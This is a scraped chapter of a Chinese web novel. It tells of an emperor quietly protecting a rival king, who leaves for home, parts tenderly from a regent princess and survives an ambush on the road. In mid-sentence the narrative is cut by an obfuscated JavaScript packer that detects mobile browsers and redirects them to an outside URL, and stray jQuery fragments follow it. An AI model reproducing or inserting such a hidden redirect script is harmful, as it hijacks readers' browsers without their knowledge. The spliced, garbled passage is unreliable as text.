默认冷灰
24号文字
方正启体

96. 凝眸浅笑绾青丝(6)

作者:繁星昭月本书字数:K更新时间:
    子时三刻,紫宸殿。


    宗暻渊独自站在那幅大宗疆域图前。殿内没有掌灯,只有月光透过窗棂洒进来,将他的影子拉得很长很长。


    他的目光落在苍梧的位置上。


    他该高兴吗?


    鹤南玄若归国,必与鹤天峰争夺王位。两虎相争,无论谁胜谁负,苍梧都将元气大伤。届时大宗坐收渔利,边境可保数年太平。


    于国,这是天大的好事。


    可他高兴不起来。


    因为那个即将奔赴死局的男人,是救过昭月的人。


    因为他知道,若鹤南玄若有事……


    年昭月会愧疚一辈子。


    而他,会看着她愧疚一辈子。


    “陛下。”徐翰林的声音在殿外响起,带着一丝急切。


    宗暻渊收敛心神:“进来。”


    徐翰林匆匆入内,呈上一封密报:“苍梧急报。鹤天峰三日后将发难,苍梧朝中已有十七位大臣联名上书,请王上归国。若不归,便请鹤天峰监国。”


    宗暻渊接过密报,快速扫过。


    信纸在他指尖停留许久。


    “传旨给楚天成,让他暗中加派人手护卫公主府。若鹤南玄决定归国,便让他带三百玄甲卫护送。以朕的名义,就说……是大宗对苍梧王的礼遇。”


    徐翰林震惊抬头:“陛下?!”


    “去吧。”宗暻渊没有解释。


    徐翰林领命退下。


    殿内重归寂静。


    宗暻渊站在月光下,看着地图上那片小小的、他从未踏足的土地。


    鹤南玄。


    这个名字,他曾经嫉妒过,忌惮过,甚至恨过。


    可此刻,他只想让他活着。


    只是因为……


    年昭月不想他死。


    而他,不想让她难过。


    ————


    鹤南玄决定归国的消息,是在三日后传遍京城的。


    那日午后,苍梧十七位大臣联名上书的抄本送至公主府。年昭月展开信纸,看着那些工整的楷书、冠冕堂皇的措辞,只觉得字字如刀。


    「王上久居敌国,有失国体。臣等为苍梧社稷计,泣血请王上速归。若王上一意孤行,臣等唯有叩请三王爷监国,以安朝局。」


    她将信纸折好,放在案上,没有发表任何评论。


    鹤南玄靠在榻上,看她从头到尾一言不发,忽然笑了。


    “你不劝孤留下?”


    年昭月抬眸:“劝有用吗?”


    鹤南玄想了想:“没有。”


    “那便是了。”年昭月端起药碗,递到他唇边,“什么时候走?”


    “三日后。”鹤南玄接过药碗,一饮而尽,“鹤天峰给孤留足了考虑的时间,其实是留给自己布局的时间。再不走,就走不了了。”


    年昭月点头:“我让楚天成安排护卫。”


    “不必。”鹤南玄摇头,“孤是苍梧的王,归国是自己的事。借大宗的兵护送,反而坐实了久居敌国、仰人鼻息的罪名。”


    年昭月看着他,沉默片刻:“那你打算如何?”


    鹤南玄没有回答。他望向窗外,银杏叶已落了大半,枝干光秃秃的,在秋日晴空下画出嶙峋的剪影。


    “孤在苍梧,还有几个可用的人。”他说,“他们会沿途接应。”


    她没再追问。


    只是当夜,她去了紫宸殿。


    ————


    宗暻渊在批奏折。


    见她来了,他搁下笔,没有问她为何深夜入宫,也没有问她为何神色凝重。他只是静静看着她,等她开口。


    “鹤南玄三日后归国。”年昭月说。


    宗暻渊点头:“朕知道。”


    “他不肯用大宗的护卫。”她顿了顿,“他说,那是坐实罪名。”


    宗暻渊沉默片刻:“他没错。”


    年昭月看着他。


    “他是苍梧的君王,该有君王的骄傲。”


    宗暻渊站起身,走到窗边,“若朕是他,也不会接受敌国护送。那不是保护,是施舍。”


    年昭月低下头,看着自己腕间那道朱砂。


    “可他现在的身子……”她声音微微发紧,“许太医说,蛊毒虽暂时稳住,但长途跋涉、劳心伤神,随时可能复发。鹤天峰在京中还有人,归途必有凶险。”


    宗暻渊转身看她。


    烛火下,她的脸苍白而平静,可那双眼睛里有他从未见过的、极力压抑的慌乱。


    她在怕。


    怕那个人死在归途中,怕那份恩情永远还不完,怕……从此以后,她腕间这道朱砂,成了永恒的亏欠。


    “昭月。”宗暻渊轻声唤她。


    年昭月抬眸。


    “你想朕怎么做?”他问。


    “陛下你能……暗中派人护他吗?”


    这是她第一次,在他面前,为另一个男人开口。


    宗暻渊看着她,目光里只有深深的、近乎心疼的了然。


    “朕已经派了。”他说。


    年昭月怔怔看着他。


    “三百玄甲卫,由楚天成统领,扮作商队,三日后与他同时启程。”宗暻渊走回她面前,“他们会护送他到苍梧边境。之后的路,要靠他自己。”


    年昭月眼眶一热。


    “谢陛下……”她声音哽咽。


    “朕不是为他。”宗暻渊看着她,目光坦荡,“朕是为了你。”


    他顿了顿,声音低了下来:


    “朕不想你后半生,每次看到腕间这道印记,都想起一个为你而死的人。”


    年昭月的眼泪终于落了下来。


    她看着他,看着这个从来不说爱、却把爱刻进每一个行动里的男人。


    “陛下,谢谢你。”她说,声音很轻。


    宗暻渊轻轻握住她的手。


    掌心相贴,那道朱砂印记在烛光下红得刺眼。


    “不用谢。”他说,“你要谢,就谢你自己。”


    “谢我什么?”


    “谢你值得。”宗暻渊看着她,“谢你让朕知道,爱一个人,不是占有,是成全。谢你让朕……”


    他顿了顿,难得地,唇角弯起一丝极淡的笑意:


    “成了这么大度的人。”


    年昭月破涕为笑。


    殿外秋风萧瑟,殿内烛火温暖。


    她第一次觉得,那道横亘在三人之间的羁绊,不再是无法承受的重负。


    而是命运馈赠的、独一无二的缘分。


    ————


    归国前夜,年昭月在东院的小厨房里,亲手为鹤南玄煎药。


    她已经很多年没有亲手煎过药了。摄政公主的手,握惯了奏折和朱笔,握药罐时竟有些生疏。


    鹤南玄靠在厨房门边,看着她。


    他身子仍虚,可今夜精神出奇地好。许太医说,那是回光返照。长途跋涉在即,心神绷到了极致,反而压住了病气。


    “火候大了。”他忽然出声。


    年昭月手忙脚乱地调小炭火。


    “该放第三味药了。”他又说。


    年昭月从药包里取出早已分好的药材,倒入罐中。


    “孤小时候,”鹤南玄看着她忙碌的背影,忽然开口,“母后也常亲自为父王煎药。父王征战多年,落下旧疾,每逢阴雨天便旧伤复发。”


    年昭月没有回头,静静听着。


    “那时孤不懂,明明是太医院的方子,煎药的小吏也是熟手,为什么母后非要自己动手。”他顿了顿,“后来孤懂了。”


    “为什么?”年昭月问。


    “因为她怕。”鹤南玄的声音很轻,“怕把父王的命,交到别人手里。”


    年昭月握着药罐的手,微微一顿。


    “你现在,”鹤南玄看着她,琥珀色的眼眸在烛光下温柔如水,“也是怕吗?”


    年昭月没有回答。


    她把煎好的药滤进碗里,端到他面前。


    “喝药。”她说。


    鹤南玄接过药碗。碗壁温热,药汁浓黑,苦味刺鼻。


    他没有立即喝。


    “昭月,”他轻声问,“若孤此去,再也回不来,你会记得孤吗?”


    年昭月看着他。


    烛火在他们之间摇曳,将两人的影子投在墙上,交叠在一起,又分开。


    “会。”她说。


    鹤南玄笑了。


    那笑容里有释然,有满足,还有一丝孩子气的欢喜。


    “那就够了。”他说,“孤要的不多。这半条命,换你记住孤。值了。”


    他低下头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176399|190086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将那碗苦药一饮而尽。


    年昭月站在原地,看着他的发顶,看着他一饮而尽时滚动的喉结,看着他放下药碗时微微颤抖的手。


    她没有哭。


    她只是静静站在那里,把这一刻刻进记忆里。


    窗外,秋月如霜。


    这是鹤南玄在公主府的最后一夜。


    ————


    三日后,辰时三刻。


    鹤南玄的马车停在公主府门外。


    他换下了养病时惯穿的便服,一身苍梧君王制式的鎏金长袍,外披银狐大氅。


    随行不过十余人,都是他从苍梧带来的旧部,这些日子一直蛰伏在京。许太医随行照料,鹤南玄本不许,是年昭月坚持。


    “你的命不只属于你一个人。”她说。


    鹤南玄没有再推辞。


    年昭月站在府门前,送他。


    她没有说太多话,只是静静看着他,看着他与旧部低语吩咐,看着他检查马车轮毂,看着他最后转身,朝她走来。


    他在她面前停下。


    从太洲到京城,从生死一线到命脉相连,从敌国君臣到……她也不知道算是什么。


    “就送到这儿吧。”鹤南玄说,“风大,你身子也未大好。”


    年昭月点头。


    “保重,一路平安。”


    “昭月保重,孤走了。”他说。


    他转身,走向马车。玄色衣袍在秋风中猎猎作响,银狐大氅在晨光下泛起柔和的光泽。


    他没有回头。


    年昭月站在原地,看着马车缓缓启动,看着车轮碾过满地金黄落叶,看着那道与她羁绊的背影,一点一点,消失在长街尽头。


    腕间的朱砂印记微微发烫。


    那是母子蛊的感应,是命脉相连的证明。


    也是他隔着渐远的距离,留给她的、最后的温柔。


    ————


    车队驶出城门,踏上南归官道。


    鹤南玄靠在车厢壁上,闭目养神。许太医坐在他对面,时不时探他腕脉,眉间忧色难掩。


    “王上,您该歇一歇……”


    “无妨。”鹤南玄睁开眼,望向车窗外飞掠而过的秋景,“出了京城地界再歇。”


    许太医不敢再劝。


    马车行至一处密林时,车速忽然慢了下来。


    鹤南玄坐直身子,眸光骤凝。


    下一刻,箭矢破空声从林间传来!


    “有刺客!”


    随行侍卫拔刀迎敌。车厢外兵刃相交声、惨叫声、马蹄声乱成一团。


    鹤南玄掀开车帘,林中涌出二十余名黑衣刺客,身手矫健,招招致命。他的侍卫虽悍勇,终究寡不敌众。


    一支冷箭斜刺里射来,直取他面门。


    他侧身避开,箭矢钉在车厢壁上,尾羽犹自颤动。


    “王上!”许太医惊呼。


    鹤南玄没有动。他望着林间某处,唇角勾起一丝冷笑。


    “三王叔的人,”他低声自语,“来得倒是快。”


    话音未落,林间忽然杀出另一队人马。


    玄衣铁甲,腰佩制式长刀,是大宗玄甲卫的装束。


    为首一人策马上前,一剑挑飞刺客首领的长刀,沉声道:“玄甲卫统领楚天成,奉陛下密旨,护送苍梧王归国!”


    刺客见势不妙,一声呼哨,纷纷退入林中。


    楚天成没有追击。他策马来到鹤南玄车前,抱拳行礼:“王上受惊了。前方仍有苍梧境内接应的人马,臣护送王上至边境。”


    鹤南玄看着他,沉默片刻。


    “他让你来的?”他问。


    “陛下说,”楚天成顿了顿,“王上救公主的恩情,大宗记着。这份人情,不能不还。”


    鹤南玄低低笑了。


    “他倒是什么都算到了。”他轻声道,不知是感慨还是叹息。


    他放下车帘,靠回车壁。


    “走吧。”他说。


    车队重新启程。


    窗外,秋阳正好。


    而他腕间那道朱砂,正微微发烫。


    千里之外,公主府东院的银杏树下,年昭月低头看着自己腕间同样灼烫的印记,久久不语。


    她不知道他遇刺了。


    可她知道,他在想她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)